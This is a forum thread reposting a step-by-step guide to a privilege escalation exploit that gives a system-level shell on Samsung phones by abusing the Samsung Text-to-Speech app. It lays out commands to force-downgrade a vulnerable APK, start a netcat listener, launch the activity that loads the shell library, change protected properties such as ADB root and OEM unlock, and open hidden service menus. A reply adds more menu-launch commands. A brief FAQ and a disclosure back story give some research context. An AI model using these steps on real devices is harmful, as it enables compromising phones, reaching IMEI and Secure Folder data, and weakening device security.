How To Guide System Shell Exploit - ALL Samsung Mobile Devices NO BL UNLOCK REQUIRED.

bnew

Veteran
Joined
Nov 1, 2015
Messages
52,497
Reputation
7,989
Daps
150,410

THIS IS ACTIVELY IN DEVELOPMENT - Our goal is to make it more user friendly. and easier to use, so please note things will change and updates will come at any given time, and there is almost certainly bugs to be found and encountered along the way during this, so if you find issues, just let us know here or in support chat, we are VERY active, and can usually get back to you in a few mins. I Will be dynamically updating this post as things progress, keeping it up-to-date with our current progress.


--UPDATED 01/20/2023: 1:20PM CST PROJECT VERSION 4.5 -- (Fixed Port issues) --

Also confirmed working on Watch.. as mentioned, here.
This is an EXPLOIT to get a System based shell (UID 1000) on ANY Samsung Mobile Device. No clue if or when it will be patched, but has worked on every single Samsung Device tested so far.
THIS IS THE EQUILIVELENT OF DOING su system but this DOES NOT invoke or need "su" in any way.
This DOES NOT trip Knox.
This DOES NOT give you ROOT (UID 0)

This DOES NOT directly unlock your bootloader, although you may be able to find a way to do so using this exploit as a tool.
If you use this for your own works, Please give credit.

Next best thing to root on devices without BootLoader Unlock Option.


Cool things that work:
Ability to cd to /data/fota and remove updates before they install - Access to most of /efs /efs/imei /efs/sec_efs /efs/FactoryApp - Access to most of /data /data/system /data/user/0/ANY_SYSTEM_APP - The "Insthk" bin becomes useable, - Secure Folder/Separated Apps becomes COMPLETELY compromised if you also install the POC in it (UID 150_system) - start IOTHidden Menu, DM Mode, Service Mode, Multiple Debugging and hidden menus as well as preconfig in system context- Change many protected props, such as: setprop persist.service.adb.root 1 setprop service.adb.root 1 setprop sys.hidden.otatest 1 setprop sys.hiddenmenu.enable 1 setprop persist.sys.knox.device_owner true setprop persist.sys.usb.qxdm.debug 1 setprop sys.usb.qxdm.debug 1 setprop presist.service.adb.enable 1 setprop persist.sys.usb.qxdm.debug 1 setprop service.adb.enable 1 setprop persist.rollback.is_test true setprop sys.oem_unlock_allowed 1 aswell as quite a bit more.

1674233415470.png


Note* You need to be on Wifi or Hotspot to set this up.

Its fairly simple, a Typical Local Privilege escalation.


The Easy Way - Note, This could trigger some AV's due to embedded ADB and adb dlls, as mentioned in this comment.

You may also find the source and prebuilts on my github, here.

Step 1 - Download "Komraids System Shell.zip", (attached is the latest version) and extract anywhere on desktop. Install K0mraids POC.apk, Open atleast one time. Reboot.
Step 2 - Ensure USB Debugging is ON, and computer is authorized. Also make sure power saving is OFF.
Step 3 - When device is fully rebooted and unlocked, run systemshell.exe
Step 4 - You should now be in a shell with UID 1000. Enjoy. Be careful with what you mess with.

Things to note: The.exe only needs to be run once after each reboot, you can use it if you prefer, or if you are having issues here or want to manually open a system shell yourself, Check out "How it works?" below.

**You MUST downgrade SMT (Samsung TTS) on EVERY reboot**
How it works? (stuff for security researchers, devs etc)



Step 1
- Install the included "komraids_POC.apk" to the device and make sure to open it and let it load at least one time, then push the included "samsungTTSVULN2.apk" to /data/local/tmp (adb push samsungTTSVULN2.apk /data/local/tmp) -> chmod 777 /data/local/tmp/samsungTTSVULN2.apk >>> I advice disabling all battery optimizations for Samsung TTS and Shell, otherwise, it cuts off the shell from time to time.

Step 2 - Make sure ADB is on, Device connected to wifi and authorized and all power saving is off (as mentioned above) Reboot device. This will load our lib on reboot since TTS loads all native libs on reboot.

Step 4 - When device reboots, run this command from ADB. adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk ---> it will return "Success" when done.

Step 5 - Now, open two shells, (OR, See NOTE* below to use App Manager) in the first, do nc -lp 9997 & in the second, do am start -n com.samsung.SMT/.gui.DownloadList -> Look back at the first shell., it should have opened into a new system (UID 1000) shell.

**You MUST downgrade SMT (Samsung TTS) on EVERY reboot**
SMT has a receiver that blindly accepts stuff, so a carefully crafted apk (Our "komraids_POC_v1.5.apk") can trick it into loading our neat lib which opens a shell for us on localhost port 9997!

SOURCE - on GitHub, here.
Use logcat | grep -i mercury to debug if lib is loaded or not.
NOTE: You can use something like AppManager, seen here, or another App installer/manager to launch the SMT activity in step 5, make a shortcut to it on your home screen for easy of access if you have issues, give this a go instead of using two shells, only use one for the nc -lp 9997 part and App MAnager to launch activity.
.




You are now UID 1000. Enjoy.
 

bnew

Veteran
Joined
Nov 1, 2015
Messages
52,497
Reputation
7,989
Daps
150,410
FAQ
Why wont it connect/open the system shell?
Various reasons can cause this, one of the most common is "Battery Optimizations", a form of power saving that can kill our apps. Power Saving is the number one issue for problems with this exploit. Second most common is, believe it or not, turning on ADB/WIFI. So make sure you either have a full battery and all power saving features are OFF, or are plugged in via USB.

Next, make sure to FORCE stop everything and try to nc -lp and launch smt again, i know its annoying, but its taken me many tries before.

Clear Cache of SMT

Uninstall PoC, Reboot, Re-install PoC, Reboot, Downgrade SMT.

Why does this exist?
Idk, it was supposed to have been patched back in 2019, obviously it wasn't sufficient.

How do I prevent someone from hacking me with this?
Simple, be Offensive, set it up and lock up the lib/port, once your using this exploit, no others can because they cant load a second lib of the same. (the vuln is the lang packs for samsung Text-to-speech) -- or, Disable or Remove Samsung Text-To-Speech.

How do I use this in Termux or other Terminal Emulators?
You will need to use the manual way, as described in Step 5 of "How it works?"

I cant get it to work, can anyone help?
Yes, post here or go to our Telegram Group for support, here (click me)

Can this work with LSPosed/LSpatch?
Yes, but it has its limitations currently. I've tested a few modules myself, some work, some don't.

Will this work with Magisk or Shizuku?
Yes, But it depends on @topjohnwu and @Rikka, respectfully, to give the green light to me to incorporate this and post those here or post their compatible versions here on their own. I am open to working with them and have already seen and used a working Shizuku mod using this Exploit, but out of respect, I cannot share it yet. HOWEVER, I do believe it is a good idea to get a manager for this built quickly if we plan on developing off of this.

Will you share the source code?
Yes, It is already on my GitHub, here.


How do i open Hidden stuff?
For now, we will need to do it manually, so try these from System shell
This opens IOTHiden menu
am start -n com.sec.hiddenmenu/.IOTHiddenMenu -e 7267864872 72678647376477466
This opens CID Managers "Preconfig"
am start -n com.samsung.android.cidmanager/.modules.preconfig.PreconfigActivity -a com.samsung.android.action.SECRET_CODE -d secret_code://27262826 --ei type 2
This opens the DM Mode on/off Toggle
am start -n com.sec.hiddenmenu/.DmMode -e 7267864872 72678647376477466
Ill add more interesting and useful commands/things to do as time goes on. Please do drop any cool things you find here!


BACK STORY:
Its full or drama and BS. I reported this to Samsung in October 2022, but they have decided this is GOOGLES problem and forgot to tell me their decision. LONG STORY CUT SHORT, Between the time Samsung decided this was GOOGLES problem and them telling me of that decision, somehow, "another external security researcher" reported this exact thing to google in the context it was their find. IDK who, nor do I really care at this point. Its done and over with, but stuff like this is what makes some security researches ever hesitant to share their finds, even with the shady vendors/OEMS.

Don't be dumb, I'm not responsible for any mistakes you make.
PWNED - K0mraid3 2022-10-06 175216.png


Big shout out to @wr3cckl3ss1 and alll the others for the help testing, debugging and the massive amount more done to help get this right. It was truely a team effort and nothing less then a labor of love & passion for cybersecurity and learning. I learned more during this project with you guys then I can express.

Huge thanks to @oakieville for the .exe and alot of help tweaking the code of this project.


This project was brought to you by VAULT-TEC Dev Ops!







 

bnew

Veteran
Joined
Nov 1, 2015
Messages
52,497
Reputation
7,989
Daps
150,410

Romeo Nickolas​

Senior Member​


  • Wednesday at 11:49 PM
  • #15
So when I do this, it can now open the IOTHiddenmenu using any activity launcher?

wr3cckl3ss1​

Senior Member​

  • Wednesday at 1:27 AM
  • #25
All this couldn't be possible without the help of Taco Telecom and Bueno Mobile in association with Spielberg Pixtures ®

ENTER THE DRAGON

am start -n com.sec.hiddenmenu/.KOREA_Mode -e 7267864872 72678647376477466

am start -n com.sec.hiddenmenu/.KoreaMode_Prevail -e 7267864872 72678647376477466

am start -n com.sec.hiddenmenu/.SerialPort -e 7267864872 72678647376477466

am start -n com.sec.hiddenmenu/.ItsOnMenu -e 7267864872 72678647376477466

am start -n com.sec.hiddenmenu/.ServiceModeApp -e 7267864872 72678647376477466

am start -n com.sec.hiddenmenu/.Test -e 7267864872 72678647376477466

am start -n com.sec.hiddenmenu/.PhoneUtil -e 7267864872 72678647376477466

am start -n com.sec.hiddenmenu/.OTATest -e 7267864872 72678647376477466

am start -n com.sec.hiddenmenu/.LTE -e 7267864872 72678647376477466

am start -n com.sec.hiddenmenu/.FIELDTESTMODE -e 7267864872 72678647376477466

am start -n com.sec.hiddenmenu/.HiddenMenuEnable -e 7267864872 72678647376477466

am start -n com.sec.hiddenmenu/.GlobalHiddenMenuEnable -e 7267864872 72678647376477466



wr3cckl3ss1
 
Top